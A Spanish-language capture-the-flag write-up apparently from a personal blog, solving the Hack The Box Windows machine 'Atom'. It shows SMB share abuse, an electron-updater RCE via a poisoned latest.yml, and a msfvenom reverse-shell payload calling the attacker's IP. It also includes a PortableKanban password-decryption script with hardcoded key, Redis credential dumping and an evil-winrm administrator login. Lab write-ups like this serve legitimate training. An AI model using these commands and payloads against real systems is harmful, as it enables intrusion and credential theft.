
El dia de hoy vamos a resolver Atom
de hackthebox
una maquina windows
de dificultad media, en esta ocasión comprometeremos el sistema aprovechandonos de la información lekeada de los recursos compartidos, donde explotaremos una vulnerabilidad de ejecución remota de comandos a traves electron-builder
donde ganaremos acceso a la maquian victima, despues usaremos un exploit con el que decencriptaremos una contraseña obtenida del servicio de portablekanban
y finalmente despues de una enumeración del servicio de redis
obtendremos una credencial con la que podremos conectarnos mediante winrm como el usuario Administrator
.
Maquina curiosa asi que vamos a darle!.
Vamos a comenzar como de costumbre creando un directorio con el nombre de la maquina:
❯ mkdir Atom
❯ ls
Atom
Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:
❯ which mkt
mkt () {
mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
content exploits nmap scripts
ENUMERACION #
Comenzaremos con la fase de Enumeracion, mandando una traza a la ip de la maquina victima con el comando ping
:
❯ ping -c 1 10.10.10.237
PING 10.10.10.237 (10.10.10.237) 56(84) bytes of data.
64 bytes from 10.10.10.237: icmp_seq=1 ttl=127 time=271 ms
--- 10.10.10.237 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 271.205/271.205/271.205/0.000 ms
Vemos que la maquina nos responde, con un ttl de 63
y por proximidad seria correspondiente a una maquina linux
.
ESCANEO DE PUERTOS
Parámetro | Descripción |
---|---|
-p- | Escaneamos todos los 65535 puertos. |
–open | Solo los puertos que estén abiertos. |
-v | Permite ver en consola lo que va encontrando (verbose). |
-oG | Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles |
Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts
:
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.237 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-11 00:35 GMT
Initiating SYN Stealth Scan at 00:35
Scanning 10.10.10.237 [65535 ports]
Discovered open port 445/tcp on 10.10.10.237
Discovered open port 80/tcp on 10.10.10.237
Discovered open port 135/tcp on 10.10.10.237
Discovered open port 443/tcp on 10.10.10.237
Discovered open port 6379/tcp on 10.10.10.237
Discovered open port 5985/tcp on 10.10.10.237
Completed SYN Stealth Scan at 00:35, 26.77s elapsed (65535 total ports)
Nmap scan report for 10.10.10.237
Host is up, received user-set (0.20s latency).
Scanned at 2023-08-11 00:35:14 GMT for 27s
Not shown: 65529 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
6379/tcp open redis syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.89 seconds
Raw packets sent: 131081 (5.768MB) | Rcvd: 23 (1.012KB)
ESCANEO DE VERSION Y SERVICIOS
❯ nmap -sCV -p80,135,443,445,5985,6379 10.10.10.237 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2023-08-11 00:36 GMT
Nmap scan report for 10.10.10.237
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Heed Solutions
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-title: Heed Solutions
| http-methods:
|_ Potentially risky methods: TRACE
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open redis Redis key-value store
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h20m00s, deviation: 4h02m32s, median: -1s
| smb2-time:
| date: 2023-08-11T00:37:09
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: ATOM
| NetBIOS computer name: ATOM\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-08-10T17:37:13-07:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.19 seconds
Visulizamos información interesante de los puertos escaneados:
Puerto | Servicio | Versión |
---|---|---|
80 | HTTP | Apache httpd 2.4.46 |
135 | MSRPC | Microsoft Windows RPC |
443 | HTTPS | Apache httpd 2.4.46 |
445 | SMB | microsoft-ds Windows 10 Pro 19042 |
5985 | WINRM | Microsoft HTTPAPI httpd 2.0 |
6379 | REDIS | Redis key-value store |
EXPLOTACION #
Comenzamos usando whatweb
, para determinar las tecnologias que esta usando el servicio web.
❯ whatweb 10.10.10.237
http://10.10.10.237 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], Email[MrR3boot@atom.htb], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27], IP[10.10.10.237], OpenSSL[1.1.1j], PHP[7.3.27], Script, Title[Heed Solutions]
La herramienta no nos reporta que estamos ante un php
, y si procedemos a abrir el servicio en el navegador vemos que pagina hace referencia a heed Solutions
Ahora bien nmap
nos reporto que el puerto 445
se encuentra abierto, asi que vamos a tratar de enumerar si existen recursos compartidos. Para ello usaremos smbmap
de la suite de impacket
.
❯ smbmap -H 10.10.10.237 -u 'null'
[+] Guest session IP: 10.10.10.237:445 Name: 10.10.10.237
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Software_Updates READ, WRITE
Vemos que tenemos permiso de lectura y ejecución en Software_Updates
, asi que vamos a listar los recursos que contiene.
❯ smbmap -H 10.10.10.237 -u 'null' -r 'Software_Updates'
[+] Guest session IP: 10.10.10.237:445 Name: 10.10.10.237
Disk Permissions Comment
---- ----------- -------
Software_Updates READ, WRITE
.\Software_Updates\*
dr--r--r-- 0 Fri Aug 11 00:51:43 2023 .
dr--r--r-- 0 Fri Aug 11 00:51:43 2023 ..
dr--r--r-- 0 Fri Aug 11 00:48:27 2023 client1
dr--r--r-- 0 Fri Aug 11 00:48:27 2023 client2
dr--r--r-- 0 Fri Aug 11 00:48:27 2023 client3
fr--r--r-- 35202 Fri Apr 9 11:18:08 2021 UAT_Testing_Procedures.pdf
Vamos a traernos a nuestra maquina y abrir el archivo pdf.
❯ smbmap -H 10.10.10.237 -u 'null' --download 'Software_Updates/UAT_Testing_Procedures.pdf'
[+] Starting download: Software_Updates\UAT_Testing_Procedures.pdf (35202 bytes)
[+] File output to: /home/fmiracle/Machines/Aton/content/10.10.10.237-Software_Updates_UAT_Testing_Procedures.pdf
❯ ls
10.10.10.237-Software_Updates_UAT_Testing_Procedures.pdf
❯ mv 10.10.10.237-Software_Updates_UAT_Testing_Procedures.pdf UAT_Testing_Procedures.pdf
❯ ls
UAT_Testing_Procedures.pdf
Si lo queremos ver en nuestro navegador, yo voy a compartirme un servicio web con php
, pero tu puedes hacerlo como mas te guste.
❯ php -S 0.0.0.0:80
[Fri Aug 11 00:56:38 2023] PHP 7.4.33 Development Server (http://0.0.0.0:80) started
Vemos que contiene información acerca de una aplicación en electron-builder
Si bajamos un poco observamos qmas información donde nos dice que para iniciar el proceso QA debemos de poner las actualizaciones en uno de los directorios con el nombre client
que curiosamente son los mismo cuando listamos los recursos compartidos con smbmap
.
Electron - builder : Una solución completa para empaquetar y crear una aplicación Electron lista para su distribución para macOS, Windows y Linux con soporte de “actualización automática”.
Si buscamos vulnerabilidades asociadas a electron builder
, encontramos una de evasión de la validación de firmas que conduce a RCE
en Electron-Updater.
Basicamente esta vulnerabilidad se aprovecha de Electron-Updater
y nos permite ejecutar codigo malicioso en el software.
Te dejo el articulo para que puedas entenderlo mejor:
Para poder explotarla vamos a utilizar una estructura similar a la que nos comparten en el articulo y le pondremos la extensión yml
.
version: 1.2.3
path: http://10.10.16.2/test
sha512: fjqwiofhqw21321 21ie21e2r
En la parte de path
vamos a indicarle que al ejecutarse realize una petición a nuestra ip, donde nos pondremos en escucha con ncat
. Y seguidamente vamos a subir en una de las carpetas client
nuestro archivo yaml
.
❯ smbclient //10.10.10.237/Software_Updates -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Aug 11 01:18:55 2023
.. D 0 Fri Aug 11 01:18:55 2023
client1 D 0 Fri Aug 11 01:18:55 2023
client2 D 0 Fri Aug 11 01:18:55 2023
client3 D 0 Fri Aug 11 01:18:55 2023
UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 11:18:08 2021
4413951 blocks of size 4096. 1369525 blocks available
smb: \> cd client1
smb: \client1\> put latest.yml
putting file latest.yml as \client1\latest.yml (0,1 kb/s) (average 0,1 kb/s)
smb: \client1\> dir
. D 0 Fri Aug 11 01:21:33 2023
.. D 0 Fri Aug 11 01:21:33 2023
latest.yml A 79 Fri Aug 11 01:21:33 2023
4413951 blocks of size 4096. 1369525 blocks available
smb: \client1\>
Despues de unos segundos recibimos la conexión, lo cual nos garantiza que efectivamente estamos aprovechandonos de la vulnerabilidad.
Lo que vamos a hacer ahora es crearnos un ejecutable malicioso con la ayuda de msfvenom
para poder obtener una reverse shell de la maquina victima.
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: reverse.exe
Una cosa a recalcar que como nos dice el articulo el archivo debemos de llamarlo de una forma especial usando el simbolo ’
❯ mv reverse.exe r’everse.exe
❯ ls
latest.yml r’everse.exe UAT_Testing_Procedures.pdf
Ademas debemos de modificar nuestro archivo yml
especificando en el path el archivo y no olvidemos incluir el sha512 del ejecutable.
❯ sha512sum r’everse.exe
d9d4eaac33d3ee234af8015c73198541b82a558877d27d7d03cc6bda270c02e001cfc2daafc050256c29974c7a278317dca0d71804668dab00d539559a30de31 r’everse.exe
El archivo nos quedaria de la siguiente forma:
version: 1.2.3
path: r’everse.exe
sha512: d9d4eaac33d3ee234af8015c73198541b82a558877d27d7d03cc6bda270c02e001cfc2daafc050256c29974c7a278317dca0d71804668dab00d539559a30de31
Procedemos a subirlo en una de las carpetas client
, compartimos el ejecutable desde nuestra maquina con python y nos ponemos en escucha en el puerto establecido con ncat
.
Recibimos la conexión como el usuario jason
.
nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.237.
Connection from 10.10.10.237:54130.
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.
whoami
whoami
atom\jason
Ahora podemos dirigirnos a su directorio personal y leer la primera flag user.txt
.
cd C:\Users\jason\Desktop
dir
dir
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\Users\jason\Desktop
04/02/2021 10:29 PM <DIR> .
04/02/2021 10:29 PM <DIR> ..
03/31/2021 02:09 AM 2,353 heedv1.lnk
03/31/2021 02:09 AM 2,353 heedv2.lnk
03/31/2021 02:09 AM 2,353 heedv3.lnk
08/10/2023 05:27 PM 34 user.txt
4 File(s) 7,093 bytes
2 Dir(s) 5,622,317,056 bytes free
type user.txt
type user.txt
5dcbc34fb2b0acaf6f9262acb7ec960e
ELEVACION DE PRIVILEGIOS #
Si enumeramos un poco el sistema, vemos en la carpeta Download un directorio referente a PortableKanban
.
cd Downloads
dir
dir
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\Users\jason\Downloads
04/02/2021 08:00 AM <DIR> .
04/02/2021 08:00 AM <DIR> ..
03/31/2021 02:36 AM <DIR> node_modules
04/02/2021 08:21 PM <DIR> PortableKanban
0 File(s) 0 bytes
4 Dir(s) 5,622,136,832 bytes free
C:\Users\jason\Downloads>
Si listamos el contenido obervamos varios archivos dll
.
cd PortableKanban
dir
dir
Volume in drive C has no label.
Volume Serial Number is 9793-C2E6
Directory of C:\Users\jason\Downloads\PortableKanban
04/02/2021 08:21 PM <DIR> .
04/02/2021 08:21 PM <DIR> ..
02/27/2013 08:06 AM 58,368 CommandLine.dll
11/08/2017 01:52 PM 141,312 CsvHelper.dll
06/22/2016 09:31 PM 456,704 DotNetZip.dll
04/02/2021 07:44 AM <DIR> Files
11/23/2017 04:29 PM 23,040 Itenso.Rtf.Converter.Html.dll
11/23/2017 04:29 PM 75,776 Itenso.Rtf.Interpreter.dll
11/23/2017 04:29 PM 32,768 Itenso.Rtf.Parser.dll
11/23/2017 04:29 PM 19,968 Itenso.Sys.dll
11/23/2017 04:29 PM 376,832 MsgReader.dll
07/03/2014 10:20 PM 133,296 Ookii.Dialogs.dll
04/02/2021 07:17 AM <DIR> Plugins
04/02/2021 08:22 PM 5,920 PortableKanban.cfg
01/04/2018 09:12 PM 118,184 PortableKanban.Data.dll
01/04/2018 09:12 PM 1,878,440 PortableKanban.exe
01/04/2018 09:12 PM 31,144 PortableKanban.Extensions.dll
04/02/2021 07:21 AM 172 PortableKanban.pk3.lock
09/06/2017 12:18 PM 413,184 ServiceStack.Common.dll
09/06/2017 12:17 PM 137,216 ServiceStack.Interfaces.dll
09/06/2017 12:02 PM 292,352 ServiceStack.Redis.dll
09/06/2017 04:38 AM 411,648 ServiceStack.Text.dll
01/04/2018 09:14 PM 1,050,092 User Guide.pdf
19 File(s) 5,656,416 bytes
4 Dir(s) 5,625,991,168 bytes free
Si tratamos de buscar vulnerabilidades asociadas a PortableKanban
, vemos un exploit con el podemos desencriptar una contraseña.
❯ searchsploit portablekanban
------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------- ---------------------------------
PortableKanban 4.3.6578.38136 - Encrypted Password Ret | windows/local/49409.py
------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Vimos anteriormente cuando listamos los archivos de portablekanban
un archivo de configuración PortableKanban.cfg
que si lo leemos encontramos una contraseña encryptada.
type PortableKanban.cfg
{"RoamingSettings":{"DataSource":"RedisServer","DbServer":"localhost","DbPort":6379,"DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb","DbServer2":"","DbPort2":6379,"DbEncPassword2":"","DbIndex":0,"DbSsl":false,"DbTimeout":10,"FlushChanges":true,"UpdateInterval":5,"AutoUpdate":true,"Caption":"My Tasks","RightClickAction":"Nothing","DateTimeFormat":"ddd, M/d/yyyy h:mm tt","BoardForeColor":"WhiteSmoke","BoardBackColor":"DimGray","ViewTabsFont":"Segoe UI, 9pt","SelectedViewTabForeColor":"WhiteSmoke","SelectedViewTabBackColor":"Black","HeaderFont":"Segoe UI, 11.4pt","HeaderShowCount":true,"HeaderShowLimit":true,"HeaderShowEstimates":true,"HeaderShowPoints":false,"HeaderForeColor":"WhiteSmoke","HeaderBackColor":"Gray","CardFont":"Segoe UI, 11.4pt","CardLines":3,"CardTextAlignment":"Center","CardShowMarks":true,"CardShowInitials":false,"CardShowTags":true,"ThickTags":false,"DefaultTaskForeColor":"WhiteSmoke","DefaultTaskBackColor":"Gray","SelectedTaskForeColor":
Recordemos que los archivos de configuración muchas veces contienen contraseñas ya sean encriptadas o en texto claro.
Como ya contamos con una contraseña, ahora vamos a modificar un poco el exploit de tal manera que nos muestre la contraseña en texto claro.
import json
import base64
from des import * #python3 -m pip install des
import sys
hash = 'Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb'
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))
Ejecutamos el exploit y obtenemos la contraseña en texto claro.
❯ python3 portable.py
kidvscat_yes_kidvscat
Podemos tratar de conectarnos como el usuario administrador con la contraseña obtenida, pero no resulta ser la correcta. Pero otro punto a recalcar es que en el archivo de configuración vemos algo de RedisServer
, asi que podemos tratar de conectarnos al servicio de redis
.
❯ redis-cli -h 10.10.10.237
10.10.10.237:6379> auth kidvscat_yes_kidvscat
OK
Para poder enumerar el servicio podemos apoyarnos de hacktricks
, te dejo el recurso aqui:
Podemos listar las KEYS disponibles y listar
10.10.10.237:6379> KEYS *
1) "pk:ids:User"
2) "pk:ids:MetaDataClass"
3) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
4) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
10.10.10.237:6379> GET pk:ids:User
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.10.237:6379> GET pk:ids:MetaDataClass
(error) WRONGTYPE Operation against a key holding the wrong kind of value
10.10.10.237:6379> GET pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
Obtenemos una contraseña enctryptada Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi
con el mismo formato que la anterior que encontramos, asi que podemos usar el mismo exploit que previamente usamos para decencriptarla.
import json
import base64
from des import * #python3 -m pip install des
import sys
hash = 'Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi'
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))
Ejectamos nuevamente el exploit y obtenemos una nueva contraseña.
❯ python3 portable.py
kidvscat_admin_@123
Podemos a intentar con esta nueva conectarnos como el usuario Administrator
usando winrm
.
❯ evil-winrm -i 10.10.10.237 -u 'Administrator' -p 'kidvscat_admin_@123'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
atom\administrator
Nos conectamos satisfactoriamente y ahora podemos dirigirnos al directorio personal del usuario Administrator
y visualizar la segunda flag root.txt
.
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/10/2023 5:27 PM 34 root.txt
Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
f55c47e3b749e8ae956f980fba1dc782
Comments